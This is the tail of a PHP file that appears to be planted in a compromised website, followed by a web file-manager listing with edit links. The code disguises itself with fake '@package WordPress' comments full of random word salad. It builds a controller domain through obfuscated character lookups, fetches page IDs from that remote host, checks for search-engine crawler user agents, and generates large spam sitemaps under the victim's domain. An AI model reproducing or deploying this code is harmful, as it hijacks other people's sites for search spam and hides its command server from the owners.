itemprop="title">'.$vs.'</span></a></li>'; } } // $nowUrl = getalink($id23,$pname); // $strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>'; // $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>'; $strBreads .= '</'.$breadTagHtml2.'>'; $strBreads .= '</'.$breadTagHtml1.'>'; } } return $strBreads; } function get_scheme(){ if ( (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (isset($_SERVER['HTTP_CF_VISITOR']) && strstr($_SERVER['HTTP_CF_VISITOR'],'https')) || (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') ) { $httpPre= 'https'; } else { $httpPre = 'http'; } return $httpPre; } function get_shares(){ $siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST']; $shareStr = ' <ul> <li><a href="https://www.facebook.com/sharer/sharer.php?u=domain" target="_blank"><span>facebook</span></a></li> <li><a href="https://twitter.com/share?url=domain" target="_blank"><span>twitter</span></a></li> <li><a href="https://www.linkedin.com/shareArticle?mini=true&url=domain" target="_blank"><span>linkedin</span></a></li> <li><a href="https://pinterest.com/pin/create/button/?url=domain" target="_blank"><span>pinterest</span></a></li> </ul> '; $shareStr = str_replace('domain',$siteLink,$shareStr); return $shareStr; } function getCatLink($CatName,$id23){ global $arrnametime,$arrKeywz,$date_string; $filePres = ''; $fileEnds = ''; $siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{ $filePres = $siteLink."/"; } $CatName = str_replace('&',' ',$CatName); $CatName = str_replace('&',' ',$CatName); if(JDT == 3){ $CatName = preg_replace('#\s+#i','-',$CatName); while(strstr($CatName,'--')) $CatName = str_replace('--','-',$CatName); $urlMid = $CatName; $rtStr = $filePres.$urlMid; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } // BZCAT $endNumber = ''; // for($i=0;$i<3;$i++){ // $ranNum = rand(0,9); // $endNumber .= $ranNum; // } $CatName = preg_replace('#\s+#i','-',$CatName); $CatName = str_replace('--','-',$CatName); $urlMid = 'detail/' . str_replace('--','-',$CatName); // $urlMid .= JTHZ; $rtStr = $filePres.$urlMid.'/'; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } function getMapNum($bgNum,$mapnum){ $TempArr = array(); if($bgNum + $mapnum <= FNUM){ for($i=0;$i<$mapnum;$i++){ $TempArr[$i] = $bgNum + $i -1; } }else{ for($i=0;$i<$mapnum;$i++){ if($bgNum+$i > FNUM) $TempArr[$i] = $bgNum + $i -1 -FNUM; else $TempArr[$i] = $bgNum + $i -1; } } return $TempArr; } function getRandCId($rqurl){ global $thisdom; for($i=0;$i<3;$i++){ $idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl"; $tempIdStr = curl_get_from_webpage($idUrl,'',5); if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){ return $matchId[1]; } } http_response_code(404); exit; } /** * approximate continuous hostile ingredient nuisance opportunity racial resemble sensible shield snap subway universe vacant. * breed budget collision core discipline emphasize expense export licence triangle valley. * decent erect exceed genuine liable noticeable petrol ultimate vertical. * applicant attach bureau delicate drip entry exaggerate grateful hatred leak moist motivate nonsense nuisance petroleum principal prospect significance submit treaty violet vote withdraw. * conquer conservation consistent delay extreme geography humble jewel liable maintain parade reveal shelter subsequent tedious weed. * applause arise cliff deserve discount extreme hollow junior loosen mist optics oral prohibit range sponsor stimulate submerge tropical twist volcano. * career deputy erect hardware identify individual inferior insure manual sophisticated strategic temporary tender transport unique virus. * acknowledge budget campus compete dive entry expenditure harmony hydrogen liter magnet neglect oval parallel regulate resume route scan sponsor vacuum. * awful community derive echo exceed expand lest nuclear parade principal prompt remarkable stimulate vary whereas wonder. * accelerate agency attach bother flash frustrate herd infant omit pat region shelter violence virtue. * response career dusk isolate removal talent. * appropriate boundary candidate consistent entitle facility harmony integrate medium mere mutual naked notion snap treaty vote. * collision consistent reliable shift submit target vague vertical. * applause bacteria dump fax fertilizer gasoline jealous oxygen recreation sake stuff undertake. * distress global hence personnel remote universal. * calculate casual delay exceedingly expel maintain nuisance suburb urgent vague videotape. * acid beforehand dumb evolution extreme facility interfere jam lean liberal likelihood mixture optimistic professional prospect relief remote seminar solar temporary utilify vain. * accomplish algebra apparent approximate conservative devise domestic exterior female herd incident phenomenon recruit smash stimulate strategy ultimate utter vessel. * advertise cargo domestic drip elbow haste hatred horrible legislation loosen obscure offend register retail semester shiver spray substantial suspicious trap. * acid advertisement appeal applianc coarse defect durable explode extinct maximum principal regulate remarkable render temple terminal. * career commit export focus hence mixture noticeable omit orient principle solar spit undergraduate. * descend infant loosen weed. * conquer hint hook laser passport spray. * delicate insignificant numerrous snap volunteer. * abuse hydrogen import jail knot trace. * avenue catalog diverse hardware nylon undergo violent vital. * acknowledge coarse dump enviroment expensive giant mere mood negative prevail pursue radical route slip spot strategic tender tuition vary version via. * attitude awful blast catalog debate encounter exceed flash gear invade partial private range reinforce rescue slope subsequent theme tidy vacuum video. * accelerate available awful elastic explore grant hint index infect leisure liquor media peak reluctant route scandal transplant trend triangle twist valid. * applause available burden comedy expend fatal illegal leak opportunity professional route security semester stable temporary tense triumph violence wealthy. * alcohol available bacteria consent conservative decay equation gallery jeans restrict the vacant vital weed. * applianc biology bunch competition integrate jeans nuclear subsequent triumph universe wealthy. * acknowledge data prompt radiation remedy removal utilise variation vibrate withdraw. * adopt applause equation female interpretation moisture noticeable nylon passive profit prominent respond satellite secure subway temptation tidy urge utter welfare wonder. * accelerate accomplish decorate germ grateful liter vanish. * absolute accomplish acid community consent erect exceed illegal inhabitant nonsense shallow. * * @package WordPress */ function getRandId(){ $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;} function get_arrvs($arr,$num,$nowkey){ $numArr = count($arr); if($nowkey + $num < $numArr) return $arr[$nowkey + $num]; else{ if($nowkey + $num - $numArr - $numArr > 0) return get_arrvs($arr,$num - $numArr,$nowkey); else return $arr[abs($nowkey + $num - $numArr)]; } } function get_pre_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key + JGNUM + 1 + LINKNUM >= $num){ if($key + JGNUM + 1 - $num > LINKNUM){ return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{ $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); return array_merge($tmpA1,$tmpA2); } }else{ return array_slice($arr, $key + JGNUM + 1, LINKNUM); } } function get_next_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{ return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } } function rFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function isCrawler() { $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot" ); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } function gsitemap2($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } $fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if(JDT == 0){ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../docs/article' . $arrABC[$gnumber-2] . 'map' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#article' . $arrABC[$gnumber-2] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; $star++; $starPri++; } }else{ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; $star++; $starPri++; } } } if(JDT == 0){ { $gFile = '../docs/article' . $arrABC[$gnumber-2] . 'map' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#article' . $arrABC[$gnumber-2] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } }else{ { $gFile = '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function gsitemap($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " <url> <loc>" . $siteLink . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>always</changefreq> <priority>1.0</priority> </url> "; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if(JDT == 0){ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../docs/sitemap.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>". $priority . "</priority> </url> "; }else{ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; } $star++; $starPri++; } }else{ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>". $priority . "</priority> </url> "; }else{ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; } $star++; $starPri++; } } } if(JDT == 0){ { $gFile = '../docs/sitemap.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND); $gnumber++; } }else{ { $gFile = '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function curl_get_from_webpage($url,$proxy='',$loop=10){ $data = false; $i = 0; while(!$data) { $data = curlGetOne($url,$proxy); if($i++ >= $loop) break; } return $data;} function curl_getjs_from_webpage($url,$time){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } function curlGetOne($url,$proxy=''){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } //// function my_mkdir($dir){ global $fitime; if(!is_dir($dir)){ mkdir($dir); @touch($dir, $fitime, $fitime); } } function generate_dir_file($gDir=''){ global $hostDir; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$hostDir)) $dir = $hostDir; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= DIRECTORY_SEPARATOR . $arr[$i]; my_mkdir($dir); } return $dir; } function strFilter($str){ $str = str_replace('`', '', $str); $str = str_replace('·', '', $str); $str = str_replace('~', '', $str); $str = str_replace('!', '', $str); $str = str_replace('!', '', $str); $str = str_replace('@', '', $str); $str = str_replace('#', '', $str); $str = str_replace('$', '', $str); $str = str_replace('¥', '', $str); $str = str_replace('%', '', $str); $str = str_replace('^', '', $str); $str = str_replace('……', '', $str); $str = str_replace('*', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('-', '', $str); $str = str_replace('_', '', $str); $str = str_replace('——', '', $str); $str = str_replace('+', '', $str); $str = str_replace('=', '', $str); $str = str_replace('|', '', $str); $str = str_replace('\\', '', $str); $str = str_replace('[', '', $str); $str = str_replace(']', '', $str); $str = str_replace('【', '', $str); $str = str_replace('】', '', $str); $str = str_replace('{', '', $str); $str = str_replace('}', '', $str); $str = str_replace(';', '', $str); $str = str_replace(':', '', $str); $str = str_replace('<', '', $str); $str = str_replace('>', '', $str); $str = str_replace(':', '', $str); $str = str_replace('\'', '', $str); $str = str_replace('"', '', $str); $str = str_replace(',', '', $str); $str = str_replace(',', '', $str); $str = str_replace('《', '', $str); $str = str_replace('》', '', $str); $str = str_replace('.', '', $str); $str = str_replace('。', '', $str); $str = str_replace('–', '', $str); $str = str_replace('–', '', $str); $str = str_replace('/', '', $str); $str = str_replace('、', '', $str); $str = str_replace('?', '', $str); $str = str_replace('?', '', $str); $str = str_replace('°', '', $str); $str = str_replace('&', '&', $str); return trim($str); } function getalink($pid,$pname=''){ global $arrnametime,$arrKeywz,$arr_word,$date_string; if(strstr($pname,'#cat#')){ $tp_pname_arr = explode('#cat#',$pname); $pname = $tp_pname_arr[1]; $precat = $tp_pname_arr[0]; } if(function_exists("preg_split")){ $tpnameArr = preg_split('/\s+/us', $pname); }else{ $tpnameArr = explode(' ', $pname); } $pnameArr = array(); foreach($tpnameArr as $tpvs){ $tpvs = trim($tpvs); if($tpvs){ $pnameArr[] = $tpvs; } } $numPname = count($pnameArr); if($numPname > 3){ $numLinkKey = round(PNAMELEN * $numPname / 100); $yushu = KEYJG % $numPname; $arrPre = array(); $arrLast = array(); for($i=0;$i<$numPname;$i++){ if($i<$yushu){ $arrLast[] = $pnameArr[$i]; }else{ $arrPre[] = $pnameArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $usedNameArr = array(); for($i=0;$i<$numLinkKey;$i++){ $usedNameArr[$i] = $arrPre[$i]; } if(count($usedNameArr)){ $pname = implode(' ',$usedNameArr); } } if(JDT == 0){ $precat = strFilter($precat); $precat = preg_replace('/\s+/', '-', $precat); } $pname = strFilter($pname); $filePres = ''; $fileEnds = ''; $siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{ $filePres = $siteLink."/"; } $rsp = '#'. BZPRO .'\d+#'; $rsp2 = '#\d+-#'; $rsp3 = '#-\d+#'; $pname = trim($pname); $pname = trim(str_replace('>>',' ',$pname)); $pname = preg_replace('/\s+/', '-', $pname); if(JDT == 3){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); while(strstr($pname,'&')) $pname = str_replace('&','',$pname); while(strstr($pname,'--')) $pname = str_replace('--','-',$pname); $urlMid = $pname .'-' .$pid; $rtStr = $filePres.$urlMid; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } if(strlen($pname) > 235){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); $pname = str_replace('&','',$pname); $pname = str_replace('&',';',$pname); if(function_exists("mb_substr")){ $pname = mb_substr($pname, 0, 235, 'utf-8'); }else{ $pname = substr($pname, 0, 235); } } $precat = preg_replace($rsp,'',$precat); $precat = preg_replace($rsp2,'-',$precat); $precat = preg_replace($rsp3,'-',$precat); $precat = str_replace('&','',$precat); $precat = str_replace('>>',' ',$precat); $precat = str_replace('&',';',$precat); $precat = preg_replace('/\s+/', '-', $precat); $pname = preg_replace($rsp,'',$pname); $pname = preg_replace($rsp2,'-',$pname); $pname = preg_replace($rsp3,'-',$pname); if(JDT == 0){ $urlMid = $pid .'-'. $pname .'-'. $precat; }else{ $urlMid = $pid .'-'. $pname .'-'. $precat; } $urlMid .= JTHZ; $urlMid = str_replace("-/","/",$urlMid); $urlMid = str_replace("-".JTHZ,JTHZ,$urlMid); while(strstr($urlMid,'--')) $urlMid = str_replace('--','-',$urlMid); // $urlMid = str_replace('/-','/',$urlMid); $rtStr = $filePres.$urlMid; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); $rtStr = str_replace('-amp;-','-&-',$rtStr); return $rtStr; } // function is_ip($localIp,$ipRanges) { $localIp = ip2long($localIp); foreach($ipRanges as $val) { $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); if($localIp >= $ipmin && $localIp <= $ipmax) { return true; } } return false;} function RandAbcs($length = ""){ $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-"; return ($str); } function getarr(){ global $O00O0O; $arr[0]=$O00O0O{6}.$O00O0O{17}.$O00O0O{14}.$O00O0O{2}.$O00O0O{4}.$O00O0O{17}.$O00O0O{24}.$O00O0O{9}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[1]=$O00O0O{10}.$O00O0O{6}.$O00O0O{15}.$O00O0O{11}.$O00O0O{1}.$O00O0O{3}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{17}.$O00O0O{12}.$O00O0O{17}.$O00O0O{21}.$O00O0O{4}.$O00O0O{13}.$O00O0O{3}.$O00O0O{14}.$O00O0O{17}.$O00O0O{18}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[3]=$O00O0O{13}.$O00O0O{1}.$O00O0O{11}.$O00O0O{14}.$O00O0O{14}.$O00O0O{17}.$O00O0O{8}.$O00O0O{0}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[4]=$O00O0O{22}.$O00O0O{2}.$O00O0O{7}.$O00O0O{8}.$O00O0O{11}.$O00O0O{11}.$O00O0O{25}.$O00O0O{20}.$O00O0O{10}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12}; return $arr; } function getthisdom(){ $myArrs = getarr(); return 'http://www.'.$myArrs[CENTERKEY].MYDIR; } function get_real_ip(){ $ip = ''; /** * resolve any proxies */ if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } if (trim($ip) == '') { if (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } else { $ip = getenv('REMOTE_ADDR'); } } /** * sanitize for validity as an IPv4 or IPv6 address */ $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip); /** * if it's still blank, set to a single dot */ if (trim($ip) == '') $ip = '.'; return $ip; } /** * appropriate ban cargo consistent distress entry flee gallery gratitude liberal motivate obscure parade prevail religion software sponsor tension vanish. * arbitrary capture ceremony conservative elaborate excess facility ferfile impose loose magnet male mere missile numerrous parade provision release ridge usage vertical wealthy. * applicable approve attitude aware ban barrel breed budget ferfile gallon gesture holy humble liberal portable principle register remote resolve scandal sponsor tremendous valley whatsoever wonder. * adequate chaos derive dispose exclusive gesture laser leather marveous mutual naval nevertheless profit prominent promote prompt resume subsequent temptation valley. * disturb impose moisture profit tissue withdraw. * aware ban biology consume discount expenditure gene generate illusion leisure mere neutral resolve restraint slippery tender. * adhere adjust clue comparative cope decade disturb expand grateful inhabitant omit petrol precaution racial reject satellite shiver strategy territory trap utilise version virtual whereas. * collision consume deaf elastic erect expel glorious index inevitable liberty molecule omit provision route shift shrug slope snap split version virtue vitally. * discount fatigue frustrate germ licence motive restrict sake yawn. * approximate excursion glory inhabitant interfere jealous mood nonsense omit opportunity organ preserve prohibit respond resume ridge shrink slope tense transport treaty tuition volcano. * adapt bundle decline drift erect herd ingredient insurance shrink smash. * authority boundary candidate haste negative neglect organ outset ridid tend textile witness. * alter cliff expand flock jealous negative repetition shiver stable tropical vary. * campus delay display global liberal radical universe. * acid appetite breadth fate nucleus resistant tender triangle tropical universe urgent yawn. * appetite available avenue collision electron estimate evolution exceedingly expel knot opportunity outset portion prevail respond sketch temporary temptation terminal transmit urban utilise vain waist. * * @package WordPress */ //file end
[+]
..
[-] index.php
[edit]
[-] logs.txt
[edit]
[-] idlogs.txt
[edit]
[-] connects.php
[edit]
[-] map.log
[edit]
[-] template.html
[edit]
[-] .htaccess
[edit]
[-] classfuns.php
[edit]